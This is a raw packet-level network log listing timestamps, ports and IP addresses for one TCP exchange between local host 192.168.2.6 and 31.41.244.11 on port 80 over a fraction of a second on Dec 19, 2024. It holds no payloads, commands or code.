Dec 19, 2024 08:09:15.537914038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.537956953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.537978888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.538017988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.538503885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.538544893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.538599968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.538640022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.539431095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.539442062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.539473057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.540211916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.540255070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.540314913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.540354967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.541085958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.541197062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.541239023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.541913986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.541954994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.541960001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.541996956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.542756081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.542814016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.542881012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.542918921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.543629885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.543762922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.543793917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.543793917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.544476032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.544610023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.544650078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.545342922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.545387983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.545428991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.546211004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.546258926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.546283960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.546310902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.547059059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.547101021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.547127008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.547171116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.547903061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.547945023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.548021078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.548059940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.548743963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.548856020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.548903942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.549602032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.549648046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.549699068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.549737930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.550452948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.550499916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.550579071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.550618887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.551296949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.551332951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.551386118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.551425934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.552139997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.552181959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.552208900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.552251101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.553024054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.553139925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.553181887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.553844929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.553889036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.554018974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.554061890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.554711103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.554752111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.554893017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.554929018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.555584908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.555628061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.555654049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.555694103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.556411028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.556469917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.556521893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.556562901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.557260990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.557313919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.557356119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.558144093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.558181047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.558187962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.558222055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.559004068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.559051991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.559114933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.559155941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.559820890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.559859991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.559957981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.559999943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.560683012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.560803890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.560844898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.561527967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.561568975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.561649084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.561690092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.562432051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.562473059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.562530994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.562572002 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.563250065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.563297033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.563332081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.563370943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.564091921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.564136028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.564213991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.564253092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.564938068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.565102100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.565145016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.565805912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.565845966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.565977097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.566018105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.566677094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.566687107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.566716909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.566731930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.567534924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.567586899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.567622900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.568411112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.568449974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.568454981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.568494081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.569219112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.569277048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.569319010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.570066929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.570116997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.570174932 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.570216894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.570955992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.571019888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.571028948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.571059942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.571834087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.571902990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.571904898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.571945906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.572673082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.572815895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.572864056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.573492050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.573539019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.573605061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.573646069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.574336052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.574394941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.574456930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.574496984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.575221062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.575264931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.575381994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.575423956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.576061964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.576100111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.576111078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.576143980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.576922894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.576961040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.576984882 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.576998949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.577754021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.577795029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.577822924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.577822924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.578609943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.578704119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.578744888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.579404116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.579458952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.726861000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.726921082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.726938963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.727016926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.727309942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.727355003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.727389097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.727425098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.728184938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.728224993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.728307009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.728346109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.729007959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.729048014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.729082108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.729120970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.729859114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.730031013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.730072975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.730739117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.730782986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.730806112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.730839968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.731590033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.731733084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.731787920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.732413054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.732459068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.732517958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.732567072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.733263016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.733311892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.733352900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.734138012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.734201908 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.734235048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.734277010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.734989882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.735035896 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.735049963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.735084057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.735831022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.735858917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.735881090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.735905886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.736723900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.736860037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.736903906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.737577915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.737618923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.737673998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.737713099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.738471031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.738511086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.738569975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.738607883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.739234924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.739279985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.739343882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.739383936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.740098953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.740139008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.740212917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.740252018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.740995884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.741008997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.741050959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.741899967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.741909981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.741947889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.742660046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.742702007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.742763996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.742804050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.743515968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.743565083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.743678093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.743722916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.744395971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.744412899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.744441986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.744463921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.745234966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.745327950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.745371103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.746057987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.746102095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.746208906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.746254921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.746984959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.747035027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.747059107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.747096062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.747843981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.747879028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.747916937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.747952938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.748615980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.748655081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.748743057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.749495983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.749536037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.749587059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.749624968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.750320911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.750360012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.750433922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.750469923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.751301050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.751337051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.751352072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.751389980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.752046108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.752094984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.752156019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.752213001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.752923965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.753103018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.753158092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.753840923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.753909111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.753962994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.754618883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.754659891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.754690886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.754877090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.755449057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.755573034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.755616903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.756320000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.756412029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.756443024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.756527901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.757198095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.757237911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.757292986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.757364035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.758047104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.758085012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.758188963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.758225918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.758883953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.759010077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.759054899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.759792089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.759839058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.759861946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.759898901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.760627985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.760668039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.760746002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.760782957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.761459112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.761499882 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.761537075 CET	80	49802	31.41.244.11	192.168.2.6
